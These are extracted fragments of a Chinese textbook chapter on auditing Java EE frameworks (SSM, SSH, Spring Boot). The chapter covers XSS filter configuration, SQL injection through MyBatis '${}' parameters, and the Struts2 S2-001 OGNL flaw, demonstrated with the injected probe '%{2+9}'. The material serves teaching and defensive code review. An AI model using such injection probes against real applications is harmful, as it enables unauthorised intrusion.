    {"text": "● 通过配置对象，则可以创建一个 SqlSessionFactoryBuilder 对象。 ● 通过 SqlSessionFactoryBuilder 获得 SqlSessionFactory 的实例。 ● SqlSessionFactory 的实例可以获得操作数据的 SqlSession 实例，通过这个实 例对数据库进行。 如 果 是 Spring 和 MyBaits 整 合 之 后 的 配 置 文 件 ， 一 般 以 这 种 方 式 实 现 SqlSessionFactory 的创建，示例代码如下。 <bean id=\"sqlSessionFactory\"class=\"org.mybatis.spring. SqlSessionFactoryBean\"> <property name=\"dataSource\" ref=\"dataSource\"></property> <property name=\"mapperLocations\" value=\"classpath:com/cn/mapper/*.xml\"> </property> </bean>} SqlSessionFactoryBean 是一个工厂 Bean，根据配置来创建 SqlSessionFactory。 手动创建 SqlSessionFactory 和 SqlSession 的流程如图 7-20 所示。 图 7-20 手动创建 SqlSessionFactory 和 SqlSession 的流程 我们同时注意到<property>标签的 value 属性是“classpath:mybatis-config.xml”， 如图 7-21 所示。"},
    {"text": "我们发现 bookMapper 的类型是 BookMapper，并 且从 sping-dao.xml 的配置文件中看到了该文件位于 com.ssm_project.dao 路径下。 现 在打开 BookMapper.java 文件进行查看，如图 7-22 所示。 图 7-21 <property>标签的 value 属性 图 7-22 查看 BookMapper.java 文件 我们注意到这只是一个接口，众所周知，接口不能进行实例化，只是提供一个 规范，因此这里的问题是调用的 BookMapper 的 queryAllBook 是怎样执行的？"},
    {"text": "仔细查看 dao 目录下的文件，如图 7-23 所示。 图 7-23 dao 目录下的文件 其中有一个名称与 BookMapper.java 名称相同的 xml 文件，其内容如图 7-24 所示。"},
    {"text": "看到这个文件，虽然我们对 MyBatis 的了解并不多，但是可以大概了解为什么 BookMapper 明明只是接口，我们却可以实例化生成 BookMapper 的 bean，并且可以 7.1 开发框架审计技巧简介 347 调用它的方法。 图 7-24 查看 xml 文件的内容 但是 BookMapper.java 和 BookMapper.xml 显然不是 MyBatis 的全部，两个文件 之间此时除了名字相同以外还没有什么直接联系，所以我们还需要将它们关联起来。 查看 mybatis-config.xml 的配置文件，如图 7-25 所示。 图 7-25 查看 mybatis-config.xml 的配置文件 348 第 7 章 Java EE 开发框架安全审计 可以发现<mappers>标签的 resource 属性的 value 就是 BookMapper.xml 的路径 MyBatis，是基于 SQL 映射配置的框架。 SQL 语句都写在 Mapper 配置文件中，构 建 SqlSession 类后，需要去读取 Mapper 配置文件中的 SQL 配置。 而<mappers> 标 签就是用来配置需要加载的 SQL 映射配置文件路径的。 也就是说，最终由 Spring 生成 BookMapper 的代理对象，然后由 MyBaits 通过 <mappers>标签将 BookMapper 代理对象中的方法与 BookMapper.xml 中的配置进行一 一映射，并最终执行其中的 SQL 语句。 可以发现此次请求最终调用了 BookMapper 的 queryAllBook 方法，这时我们需 要去 BookMapper.xml 中寻找与之对应的 SQL 语句，如图 7-26 所示。"},
    {"text": "SELECT * from ssmbuild.books 至此我们的请求已经完成，从一开始的由 DispatcherServlet 前端控制器派发给 Spring MVC，并最终通过 MyBatis 执行我们需要对数据库进行的操作。"},
    {"text": "SSM 框架有 3 种配置方式，即全局采用 xml 配置文件的形式，全局采取注解的 配置方式，或者注解与 xml 配置文件配合使用的方式，区别只是在于写法不同，执 行流程不会因此发生太多改变。"},
    {"text": "Spring MVC 是构建于 Servlet 之上的，所以 Servlet 中的过滤器自然也可以使用， 只不过不能配置在 spring-mvc.xml 中，而是要直接配置在 web.xml 中，因为它是属于 Servlet 的技术。"},
    {"text": "首先，此时程序是没有 XSS 防护的，所以存在存储型 XSS 漏洞，我们来尝试存 储型 XSS 攻击，如图 7-28 所示。 图 7-28 尝试存储型 XSS 攻击 350 第 7 章 Java EE 开发框架安全审计 单击新增功能，如图 7-29 所示。"},
    {"text": "图 7-29 新增功能 查看提交路径，如图 7-30 所示。 图 7-30 查看提交路径 去后台寻找与之对应的方法，如图 7-31 所示。 图 7-31 寻找与之对应的方法 找到后在这里设置断点，查看传入参数的详细信息，如图 7-32 所示。"},
    {"text": "7.1 开发框架审计技巧简介 351 图 7-33 直接传入 XSS 语句 此时可以在 web.xml 中配置<filter>防御 XSS 攻击，如图 7-34 所示。 图 7-34 配置<filter>防御 XSS 攻击 这里声明了 com.ssm_project.filter 的包路径下又一个类 XssFilter，它是一个过滤器。"},
    {"text": "下面的<dispatcher>属性中的 REQUEST 的意思是只要发起的操作是一次 HTTP 请求，比如请求某个 URL、发起一个 GET 请求、表单提交方式为 POST 的 POST 请 求、表单提交方式为 GET 的 GET 请求。"},
    {"text": "只要发起的操作是一次 HTTP 请求，比如请求某个 URL、发起一个 GET 请求、 表单提交方式为 POST 的 POST 请求、表单提交方式为 GET 的 GET 请求，就会经过 指定的过滤器。"},
    {"text": "<error-page> <error-code>400</error-code> <location>/filter/error.jsp</location> </error-page> 意思是 HTTP 请求响应的状态码只要是 400、404、500 这 3 种状态码之一，容 器就会将请求转发到 error.jsp 下，这就触发了一次 error，经过配置的 DispatchFilter。"},
    {"text": "<filter> <filter-name>XSSEscape</filter-name> <filter-class>com.springtest.filter.XssFilter</filter-class> </filter> <filter-mapping> <filter-name>XSSEscape</filter-name> <url-pattern>/com/app/UserControl</url-pattern> <dispatcher>REQUEST</dispatcher> </filter-mapping> 既然能够指定单独过滤特定资源，自然也就可以指定放行特定资源。"},
    {"text": "<filter> <filter-name> XSSEscape </filter-name> <filter-class> com.springtest.filter.XssFilter </filter-class> <init-param> <!-- 配置不需要被登录过滤器拦截的链接，只支持配后缀、前缀 7.1 开发框架审计技巧简介 353 及全路径，多个配置用逗号分隔 --> <param-name>excludedPaths</param-name> <param-value>/pages/*,*.html,*.js,*.ico</param-value\\> </init-param> </filter> <filter-mapping> <filter-name> XSSEscape </filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 这样配置后，如果有对 html、js 和 ico 资源发起的请求，Serlvet 在路径选择时 就不会将该请求转发至 XssFilter 类。"},
    {"text": "在审计代码时，这也是需要注意的一个点，因为开发人员的错误配置有可能导 致本应该经过过滤器的请求却被直接放行，从而使项目中的过滤器失效。"},
    {"text": "了解<filter>标签的作用后，查看 XssFilter 类的内容，如图 7-35 所示。 图 7-35 filter 包的内容 可以看到 filter 包下有两个 Java 类，先来查看 XssFilter 类，如图 7-36 所示。 图 7-36 查看 XssFilter 类 354 第 7 章 Java EE 开发框架安全审计 可以看到 XssFilter 类实现了一个 Filter 接口。 查看 Filter 接口的源码，如图 7-37 所示。 图 7-37 查看 Filter 接口的源码 可以看到 Filter 所属的包是 javax.servlet。 Filter 是 Servlet 的三大组件之一，javax.servlet.Filter 是一个接口，其主要作用是 过滤请求，实现请求的拦截或者放行，并且添加新的功能。"},
    {"text": "当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service 方法，而 是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否激活 service 方法。"},
    {"text": "7.1 开发框架审计技巧简介 355 图 7-38 doFilter 方法 这里的 request 参数和 response 参数可以理解为封装了请求数据和响应数据的对 象，需要过滤的数据存放在这两个对象中。"},
    {"text": "FilterChain 参数存在的意义就在于，在一个 Web 应用程序中可以注册多个 Filter 程序，每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。 如果有多个 Filter 程序，就 可以对某个 Servlet 程序的访问过程进行拦截，当针对该 Servlet 的访问请求到达 时，Web 容器将把多个 Filter 程序组合成一个 Filter 链（也叫作过滤器链）。 Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一 致，在上一个 Filter.doFilter 方法中调用 FilterChain.doFilter 方法将激活下一个 Filter 的 doFilter 方法，最后一个 Filter.doFilter 方法中调用的 FilterChain.doFilter 方 法将激活目标 Servlet 的 service 方法。 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法就都不会被执行。"},
    {"text": "读者应该发现，虽然 FilterChain 名称看起来像过滤器，但是调用 chain.dofilter 356 第 7 章 Java EE 开发框架安全审计 方法似乎并没有执行任何类似过滤的工作，也没有任何类似黑名单或者白名单的过 滤规则。"},
    {"text": "在调用 chain.dofilter 方法时，我们传递了两个参数：new XSSRequestWrapper ((HttpServletRequest) request)和 response，就是说我们传递了一个 XSSRequestWrapper 对象和 ServletRespons 对象，我们关心的当然是这个 XSSRequestWrapper 对象。 在传递参数的过程中，我们通过调用 XSSRequestWrapper 的构造器传递了 HttpServletRequest 对象，这里简单从继承关系向读者展示 HttpServletRequest 和 ServletRequest 的关系，如图 7-40 所示。 图 7-40 HttpServletRequest 和 ServletRequest 的关系 这里生成一个 XSSRequestWrapper 对象并传入了参数，如图 7-41 所示。"},
    {"text": "可以发现过滤行为在这里进行，而 XssFilter 的存在只是在链式执行过滤器，并 最终将值传给 Servlet 时调用 XSSRequestWrapper 来进行过滤并获取过滤结果。"},
    {"text": "我们的想 法是尽可能将请求中有危害的数据或者特殊符号过滤掉，然后将过滤后的数据转发 向后面的业务代码并继续执行，而不是发现请求数据中有特殊字符就直接停止执行， 抛出异常，返回给用户一个 400 页面。"},
    {"text": "图 7-42 XSSRequestWrapper 类 358 第 7 章 Java EE 开发框架安全审计 图 7-43 HttpServletRequestWrapper 类的继承关系 因此就需要用到 HttpServletRequestWrapper 类，这里用到了常见的 23 种中设计 模式之一的装饰者模式，限于篇幅原因这里不对装饰者模式进行讲解，感兴趣的读 者可以自行研究。 HttpServletRequestWrapper 类为用户提供了修改 request 请求数据的 方法，这也是需要单写一个类来进行过滤的原因，是因为框架就是这么设计的。 当 HttpServletRequestWrapper 过滤完请求中的数据并完成修改后，返回并作为 chain.doFilter 方法的形参进行传递。"},
    {"text": "由于我们没有配置第二个 Filter，因此 XssFilter 中的 chain.doFilter 将会激活 Servlet 的 service 方法，即 DispatcherServlet 的 service 方法，然后数据将传入 Spring MVC 的 Controller 层并交由 BookController 来处理。"},
    {"text": "7.1 开发框架审计技巧简介 359 图 7-45 XSS 语句中的特殊字符被 Filter 转义 图 7-46 XSS 语句被转移 8．SSM 框架审计思路总结 SSM 框架的审计思路其实就是代码的执行思路。"},
    {"text": "与审计非 SSM 框架代码的主要区别在于 SSM 框架的各种 XML 配置，注解配置 需要用户根据 XML 中的配置和注解来查看代码的执行路径、SSM 框架中常见的注 解和注解中的属性，以及常见的标签和标签的各个属性。"},
    {"text": "审计漏洞的方式与正常的 Java 代码审计没有区别，网上有很多非常优秀的 Java 代码审计文章，关于每个漏洞的审计方式写得都非常全面，我们需要做的只是将其 移植到 SSM 框架的审计中来。"},
    {"text": "insert into ssmbuild.books(bookName,bookCounts,detail) values (#{bookName}, #{bookCounts}, #{detail}) 观察这个 SQL 语句，发现传入的 books 参数直到 SQL 语句执行的前一刻都没有 经过任何过滤处理，所以此处插入数据库的参数自然是不可信的脏数据。"},
    {"text": "在审计这类漏洞时，最简单的方法是先在 web.xml 中查看有没有配置相关的过 滤器，如果有则查看过滤器的规则是否严格，如果没有则很有可能存在漏洞。"},
    {"text": "在非预编译的情况下，用户每次执行 360 第 7 章 Java EE 开发框架安全审计 SQL 都需要将 SQL 和参数拼接在一起，然后传递给数据库编译执行，这种采用拼接 的方式非常容易产生 SQL 注入漏洞，用户可以使用 filter 对参数进行过滤来避免产生 SQL 注入。"},
    {"text": "此时不论传递进来的参数是什么，都不会 被当作 SQL 语句的一部分，因为真正的 SQL 语句已经提前被编译好了，所以即使不 过滤也不会产生 SQL 注入这类漏洞，以下面 mapper.xml 中的 SQL 语句为例。"},
    {"text": "insert into ssmbuild.books(bookName,bookCounts,detail) values (#{bookName}, #{bookCounts}, #{detail}) #{bookName}这种形式就是采用了预编译的形式传参。 insert into ssmbuild.books(bookName,bookCounts,detail) values ('${bookName}','${bookCounts}', '${detail}') 而'${bookName}'这种写法没有使用预编译的形式传递参数，此时如果不对传入 的参数进行过滤和校验，就会产生 SQL 注入漏洞，'${xxxx}'和#{xxxx}其实就是 JDBC 的 Statement 和 PreparedStatement 对象。"},
    {"text": "7.1 开发框架审计技巧简介 361 2．Java SSH 框架审计技巧 Struts2 是一个 MVC 框架，在第 6 章讲解的 SSM 中与之对应的是 Spring MVC， 那么审计 Struts2 与审计 Spring MVC 究竟有什么不同？"},
    {"text": "图 7-47 项目目录结构 362 第 7 章 Java EE 开发框架安全审计 如前所述，在有 web.xml 的情况下，审计一个项目时首先需要查看该文件，以 便对整个项目有一个初步的了解。"},
    {"text": "图 7-48 web.xml 内容 web.xml 文件中，第一项配置表明了 Spring 配置文件的所在位置，第二项配置是 一个 Filter，这里明显不同于 SSM 中 web.xml 的配置，本质上都是 Tomcat 通过加载 web.xml 文件读取其中的信息来判断将前端的请求交由谁进行处理。"},
    {"text": "而且细心的读者还会发 现 ， 在 配 置 Spring MVC 的 DispatcherServlet 时 ， Spring 配 置 文 件 （ 也 就 是 applicationContext.xml 位置）是直接通过配置参数传入的，而这里则是通过配置一个 context-param。"},
    {"text": "接下来查看 applicationContext.xml，该配置文件内容如图 7-49 所示。 7.1 开发框架审计技巧简介 363 图 7-49 查看 applicationContext.xml 该文件中主要配置了项目所需的各种 bean，这里可以清楚地看到使用的是 c3p0 的连接池。"},
    {"text": "查看完 Spring 的配置文件后，在审计 SSH 框架的代码之前还需要对一个配置文 件有所了解，即 Struts2 的核心配置文件 struts2.xml，该配置文件的详细内容如图 7-50 所示。"},
    {"text": "class 属性后面还有一个 method 属性，该属性的作用就是执行指定的方法，默认值为 “execute”，当不为该属性赋值时，默认执行 Action 的“execute”方法。"},
    {"text": "364 第 7 章 Java EE 开发框架安全审计 图 7-50 查看 struts2.xml 文件 每个 action 标签中还会有一些 result 子标签，该标签有两个属性，分别是 name 属性和 type 属性。"},
    {"text": "7.1 开发框架审计技巧简介 365 图 7-51 execute 方法的实现过程 图 7-52 QueryAllBookAction 类的剩余部分 这里的 bookService 就是 Web 三层架构中服务层的部分。"},
    {"text": "图 7-53 RequestAware 接口 该接口内只有一个方法，目的是获取 request 对象中的全部 attributes 的一个 map 366 第 7 章 Java EE 开发框架安全审计 对象。 如果想要获取整个 request 对象，则需要实现 ServletRequestAware，该接口内 容如图 7-54 所示。"},
    {"text": "图 7-54 ServletRequestAware 接口 在介绍完 QueryAllBookAction 对象的属性如何被赋值之后，最关键的还是 execute 方 法 ， 在 图 7-51 中 可 以 看 到 在 execute 方 法 中 调 用 了 bookService. queryAllBook()方法。"},
    {"text": "bookService 变量的类型是 BookService，是一个接口，其内容如图 7-55 所示。 图 7-55 BookService 接口 该接口中针对常用的增、删、改、查各定义对应的抽象方法，并由 BooksServiceImpl 来具体负责实现。 在 BooksServiceImpl 中找到 queryAllBook 方法，如图 7-56 所示。 图 7-56 queryAllBook 方法 这里调用了一个 bookManagerDao.queryAllBook 方法，bookManagerDao 明显是 一个全局变量，观察其类型是 BookManagerDao 类型，如图 7-57 所示。 7.1 开发框架审计技巧简介 367 图 7-57 bookManagerDao 变量 这里要讲到 Spring 的依赖注入，BooksServiceImpl 类提供了 bookManagerDao 变 量的 setter 方法，然后使用 Spring 的依赖注入在 BooksServiceImpl 类实例化时通过读 取配置信息后调用 setter 方法将值注入 bookManagerDao 变量中。"},
    {"text": "这里提到了读取配 置文件，接下来查看该项目的 Spring 配置文件，即 applicationContext.xml 中的配置 信息，如图 7-58 所示。 图 7-58 applicationContext.xml 文件 首先是导入了 jdbc 的配置文件，并配置了连接池和 SessionFactory。 然后配置了 bookManagerDao 和 bookService 两个 bean，并将 bookManagerDao 注入 bookService， Spring 在启动时会读取 applicationContext.xml 并根据其中配置的 bean 的顺序将其逐 个进行实例化，同时对每个 bean 中指定的属性进行注入。 Spring 依赖注入的方式有 很多种，这里介绍的通过配置 xml 然后通过 setter 方法进行注入只是其中一种。"},
    {"text": "从 applicationContext.xml 配 置 文 件 中 可 以 发 现 BooksServiceImpl 类 中 的 bookManagerDao 存储的是一个 BookManagerDao 对象，所以定位到 BookManagerDao 368 第 7 章 Java EE 开发框架安全审计 类的 queryAllBook 方法来看其具体实现，其内容如图 7-59 所示。"},
    {"text": "以 上就是 SSH 框架处理一个用户请求的大致流程，生产环境中的业务比较复杂，会对 各种参数进行合法性校验，但是整体的审计思路不会改变，就是按照程序执行的流 程，关注程序每一步对传入参数的操作。"},
    {"text": "selectBook.jsp 中的表单内容如图 7-60 所示。 图 7-60 selectBook.jsp 中的表单 根据表单提交的 url 在 struts.xml 中查询，找到处理该请求的 Action，如图 7-61 所示。"},
    {"text": "7.1 开发框架审计技巧简介 369 图 7-62 查看 execute 方法 结合之前的表单提交的一个图书的 id，大概可知此处是通过传入的图书 id 在后 台 数 据 库 中 进 行 查 询 。"},
    {"text": "根 据 之 前 的 观 察 已 知 bookService 变 量 指 向 的 是 一 个 BooksServiceImpl 对象，所以找到该类中的 queryBookById 方法，该方法的具体内容 如图 7-63 所示。 图 7-63 查看 queryBookById 方法（一） 同样根据之前的观察结果，可以发现 bookManagerDao 变量指向的是一个 BookManagerDao 对象。 在 BookManagerDao 类中找到 queryBookById 方法，如图 7-64 所示。"},
    {"text": "代码审计的思路就是要关注参数是否是前端传入，参数是否可控，在对这个参 数处理的过程中是否有针对性地对参数的合法性进行校验，如果同时存在以上 3 个 问题，则很可能会存在漏洞。"},
    {"text": "以该 SQL 注入漏洞为例，常用的防御 SQL 注入的手段有两种：一种是通 Filter 进行过滤，另一种是使用预编译进行参数化查询，这两种方式各有优缺点，也有各 自的应用场景。"},
    {"text": "370 第 7 章 Java EE 开发框架安全审计 图 7-64 查看 queryBookById 方法（二） Filter 是 Servlet 自带的一种技术，也是在代码审计过程中需要特别注意的一个点。"},
    {"text": "自定义 Filter 时需要实现 Javax.servlet.Filter 接口，该接口内容如图 7-65 所示。 图 7-65 Javax.servlet.Filter 接口 审计过程中最需要注意的是其中的 doFilter 方法，过滤的规则一般都在该方法中。 以下是该接口的一个自定义 Filter 对 doFilter 方法的具体实现，内容如图 7-66 所示。 图 7-66 自定义 Filter 对 doFilter 方法的具体实现 7.1 开发框架审计技巧简介 371 在 doFilter 方法中，遍历获取了查询请求中的参数，并将请求参数传递给 sqlValidate 函数进行匹配，所以需要再去观察 sqlValidate 函数的具体内容，如图 7-67 所示。"},
    {"text": "图 7-67 查看 sqlValidate 函数 根据图 7-67 中的代码可见，传递进来的参数会先被转化成小写，然后和 basdstr 中定义的 SQL 语句进行比对，如果比对成功则返回 flase，返回到 doFilter 方法中就 会终止程序继续执行，并重定向至 error.jsp 页面。"},
    {"text": "Strut2 自身也提供了验证机制，例如 ActionSupport 类中提供的 validate 方法，如 图 7-68 所示。 图 7-68 validate 方法 当一个 Action 中重写 ActionSupport 中的 validate 方法后，Struts2 每次执行该 Action 时都会最先执行该 Action 中的 validate，以起到检验参数合法性的作用。"},
    {"text": "如此一来，每一次 Struts2 执行 QueryBookByIdAction 的 execute 方法时都会首先 调用 validate 方法，这样每当传入的参数中包含恶意 SQL 语句就会终止执行并重定 向至 error.jsp，所以如果开发人员在开发过程中没有使用 Filter 来进行过滤，采用上 述重写 validate 方法的方式也可以起到防止 SQL 注入的目的。"},
    {"text": "372 第 7 章 Java EE 开发框架安全审计 图 7-69 doFilter 方法的过滤规则 除使用上述过滤方式来实现防止 SQL 注入外，在审计过程中还有很重要的一点 就是预编译，除可以使用原生的 SQL 语句外，Hibernate 本身还自带一个名为 HQL 的面向对象的查询语言，该语言并不被后台数据库所识别，所以在执行 HQL 语句时， Hibernate 需要将 HQL 翻译成 SQL 语句后交由后台数据库进行查询操作。"},
    {"text": "将原生 HQL 语句改写成 SQL 语句，可以很便捷地在众多不同的数据库中进行移植，只需要修改 配置而不必再对 HQL 语句进行任何改写。 但是要注意的一点就是 HQL 是面向对象 的查询语句，只支持查询操作，对于增、删、改等操作是不支持的。 使用之前的查询语句来举例，SQL 语法和 HQL 语法的简单区别如图 7-70 所示。 图 7-70 SQL 语法和 HQL 语法的简单区别 可以发现 SQL 语句是依据 bookID 字段的值从 SSH_PROJECT 数据库的 BOOKS 表中查询出指定的数据，而 HQL 的语句则更像是从 Books 对象中取出指定 bookID 属性的对象。"},
    {"text": "7.1 开发框架审计技巧简介 373 图 7-71 映射文件的具体内容 POJO 类的每个属性都与表中的字段进行一一映射，这样 HQL 才能用类似于操 作对象属性的方式进行指定数据查询。"},
    {"text": "图 7-72 预编译形式 7.1.3 Spring Boot 框架审计技巧 1．Spring Boot 简介 Spring Boot 是由 Pivotal 团队在 2013 年开始研发、2014 年 4 月发布第一个版本 374 第 7 章 Java EE 开发框架安全审计 的全新、开源的轻量级框架。"},
    {"text": "7.1 开发框架审计技巧简介 375 Spring Boot 项 目 的 主 配 置 类 SpringbootdemoApplication 有 一 个 注 解 为 @SpringBootApplication，当一个类上存在该注解时，该类才是 Spring Boot 的主配置 类。 当 Spring Boot 程序执行时，扫描到该注解后，会对该类当前所在目录以及所有 子目录进行扫描，这也是为什么 SpringbootdemoApplication 这个主配置类一定要写在 包中所有类的最外面，因此省略了之前在 SSH 以及 SSM 中的种种 XML 配置。"},
    {"text": "图 7-76 Controller 层的内容 可以看到其中的代码与使用 SSM 书写时完全相同，这里以根据 ID 查询书籍的 功能为例来进行讲解。 同审计 SSH 和 SSM 框架时的思路相同，Controller 层的 queryBookById 方法在接收到前端传入的 ID 参数后，调用了 Service 层来对 ID 参数 进行处理，所以跟进 BookService，如图 7-77 所示。 376 第 7 章 Java EE 开发框架安全审计 图 7-77 查看 BookService 的内容 BookService 是一个接口，该接口只有一个实现类，所以到 BookServiceImpl 类 中进行观察，BookServiceImpl 类的部分代码如图 7-78 所示。 图 7-78 BookServiceImpl 类的部分代码 Service 层并没有做更多的操作，只是简单调用了 DAO 层的 BookMapper，并将 ID 作为参数传递进去，所以我们继续追踪 BookMapper。 如图 7-79 所示，BookMapper 只是一个接口，且根据图 7-80 所示，BookMapper 并没有实现类，那么程序是如何调用 BookMapper 中定义的方法的呢？"},
    {"text": "这里的 DAO 层使用的是 MyBatis 框架，MyBaits 框架在配置和数据层交互时有两种方式：一种是 通过在接口方法上直接使用注解，还有一种就是使用 XML 来进行配置。"},
    {"text": "图 7-79 查看 BookMapper 接口 7.2 开发框架使用不当范例（Struts2 远程代码执行） 377 图 7-80 BookMapper 没有实现类 项目的 resource 目录下存放有 BookMapper 的 XML 配置文件，其部分内容如图 7-81 所示。"},
    {"text": "图 7-81 BookMapper 配置文件的部分内容 以上就是一个使用 Spring Boot 搭建简单的 Web 项目的执行流程，经过拆解和分 析发现 Spring Boot 的执行流程和 SSM 的大致相同，差别只是 Spring Boot 构建的 Web 项目中缺少很多配置文件。"},
    {"text": "7.2 开发框架使用不当范例（Struts2 远程代码执行） 自 Struts2 在 2007 年爆出第一个远程代码执行漏洞 S2-001 以来，在其后续的发 展过程中不断爆出更多而且危害更大的远程代码执行漏洞，而造成 Struts2 这么多 RCE 漏洞的主要原因就是 OGNL 表达式。 这里以 Struts2 的第一个漏洞 S2-001 为例 来对 Struts2 远程代码执行漏洞进行初步介绍。"},
    {"text": "7.2.1 OGNL 简介 首先来了解 OGNL 表达式，OGNL（Object Graphic Navigatino Language）的中 文全称为“对象图导航语言”，下面先通过一个简单的案例来描述其作用。"},
    {"text": "首先定义一个 Student 类，该类有 3 个属性 name、studentNumber 和 theClass， 378 第 7 章 Java EE 开发框架安全审计 同时为 3 个属性编写 get 和 set 方法，如图 7-82 所示。 图 7-82 为 3 个属性编写 get 和 set 方法 然后定义一个 TheClass 类，该类有两个属性：className 和 school，同样也为两 个属性编写 get 和 set 方法，如图 7-83 所示。 图 7-83 为两个属性编写 get 和 set 方法 最后定义一个 School 类，该类只有一个属性 schoolName，如图 7-84 所示。 图 7-84 schoolName 属性 通过如下操作将这 3 个类实例化并为其属性一一进行赋值，最后通过使用 OGNL 表达式的方式取出指定的值，如图 7-85 所示。 7.2 开发框架使用不当范例（Struts2 远程代码执行） 379 图 7-85 实例化 3 个类并为其赋值 在不使用 OGNL 表达式的情况下，如果要取出 schoolName 属性，需要通过调用 对应的 get 方法，但是当我们使用 OGNL 的 getValue，只需要传递一个 OGNL 表达 式和根节点就可以取出指定对象的属性，非常方便。"},
    {"text": "图 7-86 Demo 首页的部分代码 380 第 7 章 Java EE 开发框架安全审计 运行上述代码得到一个简单的登录框，接下来是负责处理请求的 Action 代码， 如图 7-87 所示。"},
    {"text": "图 7-88 Struts2 的配置文件 根据上述代码可知，LoginAction 所做的就是判断 username 和 password 是否为 空以及是否都为 admin，如果都满足则，返回“success”转发到 welcome.jsp。"},
    {"text": "7.2 开发框架使用不当范例（Struts2 远程代码执行） 381 图 7-89 Struts2 的架构 Servlet Filters：过滤器链，客户端的所有请求都要经过 Filter 链的处理。"},
    {"text": "用户会首先发起一个针对某个 Action 的请求，后台的 Servlet 容器，例如 Tomcat 接收到该请求后会去加载 web.xml，根据 web.xml 中配置的 Filter，最后会执行到 FilterDispatcher 即 Struts2 的调度中心，如图 7-90 所示。"},
    {"text": "根据图 7-89 中 的流程，FilterDispatcher 会将请求交由 ActionMapper 进行处理，而 ActionMapper 则 负责判断当前的请求是否交由 Struts2 来进行处理。 如果经过判断需要 Struts2 处理， FilterDispatcher 会结束 FilterChain 的执行，所以需要将 FilterDispatcher 写在 FilterChain 的最后。"},
    {"text": "ActionProxy 对象在创建的同时会通过调用 ConfigurationManager 对象来获取 Struts.xml 中的 Action 配置，这样 ActionProxy 才能清楚后续应该调用哪些拦截器和哪个 Action，最 终生成的 ActionProxy 对象如图 7-92 所示。 当读取到这些信息后，ActionProxy 会创建一个 ActionInvocation 对象，该对象首 先会依次调用 Struts2 中默认的拦截器，所有的默认拦截器都存储在 ActionInvocation 对象的 interceptors 属性中，并通过 hasNext 方法依次进行调用，相关代码如图 7-93 所示。"},
    {"text": "那么 Struts2 默认的拦截器都有哪些，并且定义在哪里呢？ Strut2-core.jar 包中有 一个 struts2-default.xml 文件，这里配置了 Struts2 默认情况下要执行的拦截器，如图 7-94 所示。"},
    {"text": "7.2 开发框架使用不当范例（Struts2 远程代码执行） 383 图 7-92 最终生成的 ActionProxy 对象 图 7-93 依次调用的代码 图 7-94 默认情况下要执行的拦截器 384 第 7 章 Java EE 开发框架安全审计 接下来，ActionInvocation 对象会依次执行上述的拦截器，并最终调用用户自己 编写的 Action。"},
    {"text": "当拦截器执行完成后，首先就会调用开发者编写的 Action 中的 execute 方法，执 行完该方法后，会根据 Struts.xml 配置的信息去查找对应的模板页面，例如 JSP、 FreeMarker； 然后根据对应的模板标签信息，解析成 HTML 等浏览器可以解析的页 面信息后，再按照默认拦截器的相反顺序执行；"},
    {"text": "首先运行包 含 S2-001 漏洞的程序，输入以下数据，如图 7-95 所示。 图 7-95 运行包含 S2-001 漏洞的程序 单击 Submit 按钮后，password 一栏就会变成 2+9 的计算结果，如图 7-96 所示。 图 7-96 password 一栏变成 2+9 的计算结果 这意味着，后台将 password 中%{2+9}作为代码执行，并返回了计算结果。"},
    {"text": "然后，因为在 Struts2 执行众多的默认拦截器时，有一个名为 params 的拦截器，该拦截器对应的权 限定类名是 com.opensymphony.xwork2.interceptor.ParametersInterceptor，该拦截器会 7.2 开发框架使用不当范例（Struts2 远程代码执行） 385 通过调用对应 Action 的 setter 方法来为其属性进行赋值；"},
    {"text": "最后，对赋值进行判断，如 果 password 的值为“%{2+9}”，则证明代码执行的行为发生在执行 Action 之后； 如 果 password 的值为 11，则证明代码执行的行为发生在 Action 执行之前。"},
    {"text": "图 7-97 通过简单判断减少漏洞点的搜索范围 通过在此处设置断点，可以看到直到赋值完成， “%{2+9}”仍没有被执行，这就 意味着截止到执行完 ParametersInterceptor 拦截器为止，没有代码执行的行为发生。"},
    {"text": "接下来是执行 Action 的 execute 方法，最终结果是返回“error”字符串，如图 7-98 所示。 图 7-98 返回“error”字符串 根据图7-89所示的Struts2整体执行流程，Action执行完毕后的步骤是操作对应的 模板页面，当LoginAction的execute方法返回“error”字符串时，Struts2要去解析的模 板页面是index.jsp。"},
    {"text": "Struts2 支持多种模板引擎，种类如图 7-99 所示，jsp 只是其中一种。 所以在真正 开始解析之前，Struts2 还需要判断开发人员使用的模板引擎种类，从而调用对应的 类和方法。 图 7-99 Struts2 支持模板引擎的种类 386 第 7 章 Java EE 开发框架安全审计 负责处理 JSP 的类是 org.apache.struts2.views.jsp.ComponentTagSupport。"},
    {"text": "解析会从 第一个 Struts2 标签即<s:form action=\"login\"> 开始，当解析到 ComponentTagSupport 类时，首先被调用的方法就是 doStartTag 方法，该方法的代码如图 7-100 所示。 除 doStartTag 方法外，ComponentTagSupport 中还有一个 doEndTag 方法，一个是解析标 签开始时调用，另一个是解析到标签闭合时调用。 图 7-100 doStartTag 方法的代码 ComponentTagSupport 是一个抽象类。"},
    {"text": "解析完 From 标签后会解析 textfield 标签，这两个标签的细节如图 7-102 所示。 图 7-102 From 标签和 textfield 标签的细节 首先解析第一个 textfield 标签，关键的步骤在 doEndTag 方法中。"},
    {"text": "该方法用来判断标签中有哪些属 性，例如当前 textfield 标签中有两个属性：一个是 name 属性，另一个是 lable 属性， 判断这两个属性的代码如图 7-104 所示。 图 7-104 判断 name 属性和 lable 属性的代码 我们的标签里编写了 name 属性，第一个 if 判断的结果为 true，但是该 name 属 性并不是关键点，因此我们跳过第一个 if 判断，直接来到第二个 if，判断标签是否 有 label 属性，跟进 this.findString 方法。"},
    {"text": "首先会进入一个 while 循环，该循环的作用是判断 label 属性的值是否以“${” 开头，目的是判断其是不是一个 OGNL 表达式，如果是则返回的值为 0，不是则返 388 第 7 章 Java EE 开发框架安全审计 回值为1。"},
    {"text": "第二个 while 循环是为了判断“{”与“}”的数量是否相等，相等则 count 的值为 0； 由于 label 属性的值是字符串“username”，不包括“${”，start 值为1，count 值为 1，因此第 二个 while 循环无须执行。"},
